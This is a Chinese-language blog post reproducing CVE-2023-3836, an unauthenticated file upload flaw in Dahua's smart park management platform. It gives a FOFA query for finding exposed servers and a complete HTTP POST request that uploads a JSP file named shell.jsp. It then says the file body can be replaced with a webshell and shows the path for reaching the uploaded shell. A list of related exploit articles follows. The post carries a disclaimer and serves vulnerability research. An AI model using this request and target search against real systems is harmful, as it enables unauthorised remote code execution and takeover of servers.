Advertisement

大华智慧园区综合管理平台文件上传漏洞(CVE-2023-3836)

阅读量：

大华智慧园区综合管理平台文件上传漏洞

  • 免责声明
    • 漏洞具体说明
    • 漏洞潜在影响分析
    • 利用Faker源获取相关数据
    • 漏洞复现过程：
      • 1. 构造一个POC（Proof of Concept）
      • 2. 实现对目标系统的复制
      • 3. 导致访问目标系统的 shell 地址

免责声明

仅用于技术交流的目的在于向相关安全人员展示漏洞利用方式,从而帮助其提升网络安全意识和技术能力。
任何人不得擅自运用该文章进行非法攻击,同时不得侵害他人隐私及财产权益。
为了确保测试的合法性和安全性,请严格遵守相关规定并在授权范围内使用本文内容。
本文作者不对因使用该文章导致的任何直接或间接损失负有责任,风险均由使用者自行承担。

漏洞描述

大华智慧园区综合管理平台是一个依托智能物联技术构建的园区全方位数字化管理解决方案，在涵盖园区安防、办公与运营等多方面的数字化管理功能上具有显著优势。该平台(截至 20230713 版本)存在文件上传漏洞问题：未获得授权的攻击者可以通过上传恶意Webshell JSP文件实现远程控制执行（RCE）利用

漏洞危害

未经授权的攻击者可通过上传jsp的webshell造成rce，获取服务器权限

Fofa检索

app=“dahua-智慧园区综合管理平台”

在这里插入图片描述
在这里插入图片描述

漏洞复现

1. 构造poc

复制代码 
    POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
    Host: ip:port
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: none
    Sec-Fetch-User: ?1
    Content-Type: multipart/form-data; boundary=---------------------------23866052015499226143339905740
    Content-Length: 1176
    
    -----------------------------23866052015499226143339905740
    Content-Disposition: form-data; name="upload"; filename="shell.jsp"
    Content-Type: application/octet-stream
    Content-Transfer-Encoding: binary
    
    123
    -----------------------------23866052015499226143339905740--
    
    
    Java
    
    
![](https://ad.itadn.com/c/weblog/blog-img/images/2025-08-18/m4DbtSRE701zHcaNO89lhVn5gBsx.png)

2. 复现

在这里插入图片描述

123可修改为webshell

3. 访问shell地址

复制代码 
    http://127.0.0.1/upload/emap/society_new/ico_res_**********.jsp
    
    
    bash
在这里插入图片描述

全部评论 (0)

还没有任何评论哟~

相关文章推荐

大华智慧园区综合管理平台文件上传漏洞(CVE-2023-3836)

大华智慧园区综合管理平台文件上传漏洞 免责声明 漏洞描述 漏洞危害 Fofa检索 漏洞复现 1\.构造poc 2\.复现 3\.访问shell地址 免责声明 仅用于技术交流,目的是向相关安全人员展示漏...

CVE-2023-3836：大华智慧园区综合管理平台任意文件上传漏洞复现

文章目录 CVE20233836：大华智慧园区综合管理平台任意文件上传漏洞复现 0x01前言 0x02漏洞描述 0x03影响范围 0x04漏洞环境 0x05漏洞复现 1.访问漏洞环境 2.构造POC ...

大华智慧园区综合管理平台 devicePoint_addImgIco 文件上传漏洞

0x01漏洞描述： 大华智慧园区综合管理平台devicePointaddImgIco没有对用户上传的文件进行限制，导致未经身份验证的远程攻击者可上传任意文件，从而远程执行任意命令，获取服务器权限。

大华智慧园区综合管理平台任意文件上传漏洞

一、漏洞简介 华智慧园区综合管理平台是一个集智能化、信息化、网络化、安全化为一体的智慧园区管理平台，旨在为园区提供一站式解决方案，包括安防、能源管理、环境监测、人员管理、停车管理等多个方面。

大华智慧园区综合管理平台文件上传漏洞复现

0x01产品简介 “大华智慧园区综合管理平台”是一款综合管理平台，具备园区运营、资源调配和智能服务等功能。平台意在协助优化园区资源分配，满足多元化的管理需求，同时通过提供智能服务，增强使用体验。

大华智慧园区综合管理平台publishing任意文件上传漏洞

一、漏洞简介 大华智慧园区综合管理平台是一个集智能化、信息化、网络化、安全化为一体的智慧园区管理平台，旨在为园区提供一站式解决方案，包括安防、能源管理、环境监测、人员管理、停车管理等多个方面。

大华智慧园区综合管理平台poi任意文件上传漏洞

一、漏洞简介 大华智慧园区综合管理平台是一个集智能化、信息化、网络化、安全化为一体的智慧园区管理平台，旨在为园区提供一站式解决方案，包括安防、能源管理、环境监测、人员管理、停车管理等多个方面。

大华智慧园区综合管理平台 hasSubsystem文件上传漏洞复现

0x01产品描述： ‌大华智慧园区综合管理平台是一款综合管理平台，具备园区运营、资源调配和智能服务等功能。‌该平台旨在协助优化园区资源分配，满足多元化的管理需求，并通过提供智能服务增强使用体验‌ 0x...

大华智慧园区综合管理平台 video 任意文件上传漏洞

目录 漏洞描述 FOFA语法/鹰图语句 漏洞复现 漏洞描述 大华智慧园区综合管理平台video接口存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件到服务器中，控制服务器权限 FOFA语法/鹰图语句...

【漏洞复现】大华智慧园区综合管理平台前台任意文件上传漏洞

文章目录 前言 声明 一、简介 二、影响范围 三、资产搜索 四、漏洞测试 四、修复建议 前言 大华智慧园区综合管理平台存在前台任意文件上传漏洞，攻击者可通过特定Payload获取服务器敏感信息，进而获...